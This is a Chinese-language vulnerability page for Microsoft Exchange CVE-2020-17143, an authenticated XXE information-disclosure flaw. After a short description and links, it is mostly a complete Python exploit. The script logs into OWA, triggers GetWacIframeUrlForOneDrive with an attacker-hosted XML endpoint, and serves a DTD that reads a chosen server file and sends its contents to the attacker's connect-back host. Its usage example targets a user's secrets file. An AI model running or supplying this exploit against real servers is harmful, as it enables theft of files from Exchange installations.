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109 lines
4.0 KiB
Markdown
109 lines
4.0 KiB
Markdown
# Microsoft Exchange 信息泄露漏洞 CVE-2020-17143
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## 漏洞描述
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此漏洞使远程攻击者可以披露有关受影响的Exchange Server安装的信息。利用身份验证才能利用此漏洞。
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特定缺陷存在于GetWacIframeUrlForOneDrive服务命令的处理中。造成此问题的原因是缺乏对用户提供的xml的正确验证。攻击者可以利用此漏洞在SYSTEM上下文中披露信息。
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Microsoft已发布更新来纠正此漏洞。可以在以下位置找到更多详细信息：https : //portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17143
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参考链接：
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17143
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- https://srcincite.io/advisories/src-2020-0030/
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## 漏洞复现
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exp：
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```python
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#!/usr/bin/env python3
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import re
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import sys
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import urllib3
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import requests
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from threading import Thread
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from http.server import BaseHTTPRequestHandler, HTTPServer
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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class xxe(BaseHTTPRequestHandler):
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def log_message(self, format, *args):
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return
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def _set_response(self, d):
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self.send_response(200)
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self.send_header('Content-type', 'application/xml')
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self.send_header('Content-Length', len(d))
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self.end_headers()
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def do_GET(self):
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if "leaked" in self.path:
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print("(+) stolen: %s" % self.path)
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message = "<![CDATA[ <![ INCLUDE[]]> ]]>"
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self._set_response(message)
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self.wfile.write(message.encode('utf-8'))
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self.wfile.write('\n'.encode('utf-8'))
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elif "poc.dtd" in self.path:
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print("(+) triggered xxe in exchange server!")
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message = """
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<!ENTITY %% payload "%%start;%%stuff;%%end;">
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<!ENTITY %% param1 '<!ENTITY % external SYSTEM "http://%s:%d/leaked?%%payload;">'>
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%%param1; %%external;""" % (host, int(port))
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self._set_response(message)
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self.wfile.write(message.encode('utf-8'))
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self.wfile.write('\n'.encode('utf-8'))
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elif "poc.xml" in self.path:
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d = """<?xml version="1.0" encoding="utf-8"?>
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<!DOCTYPE root [
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<!ENTITY %% start "<![CDATA[">
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<!ENTITY %% stuff SYSTEM "file:///%s">
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<!ENTITY %% end "]]>">
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<!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">
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%%dtd;
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]>""" % (file, host, int(port))
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self._set_response(d)
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self.wfile.write(d.encode('utf-8'))
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self.wfile.write('\n'.encode('utf-8'))
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return
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def main(t, usr, pwd, port):
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server = HTTPServer(('0.0.0.0', port), xxe)
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handlerthr = Thread(target=server.serve_forever, args=())
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handlerthr.daemon = True
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handlerthr.start()
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s = requests.Session()
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d = {
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"destination" : "https://%s/owa" % t,
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"flags" : "",
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"username" : usr,
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"password" : pwd
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}
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s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
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h = {
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"X-OWA-UrlPostData" : '{"request":{"DocumentUrl":"","EndPointUrl":"http://%s:%d/poc.xml"}}' % (host, port),
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"Action" : "GetWacIframeUrlForOneDrive"
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}
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r = s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
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assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
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h["X-OWA-CANARY"] = s.cookies.get(name='X-OWA-CANARY')
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s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
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if __name__ == '__main__':
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if len(sys.argv) != 5:
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print("(+) usage: %s <target> <user:pass> <connectback ip:port> <file>" % sys.argv[0])
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print("(+) eg: %s 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
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sys.exit(-1)
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trgt = sys.argv[1]
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assert ":" in sys.argv[2], "(-) you need a user and password!"
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usr = sys.argv[2].split(":")[0]
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pwd = sys.argv[2].split(":")[1]
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host = sys.argv[3]
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port = 9090
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file = sys.argv[4]
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if ":" in sys.argv[3]:
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host = sys.argv[3].split(":")[0]
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port = sys.argv[3].split(":")[1]
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assert port.isdigit(), "(-) not a port number!"
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main(trgt, usr, pwd, int(port))
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```
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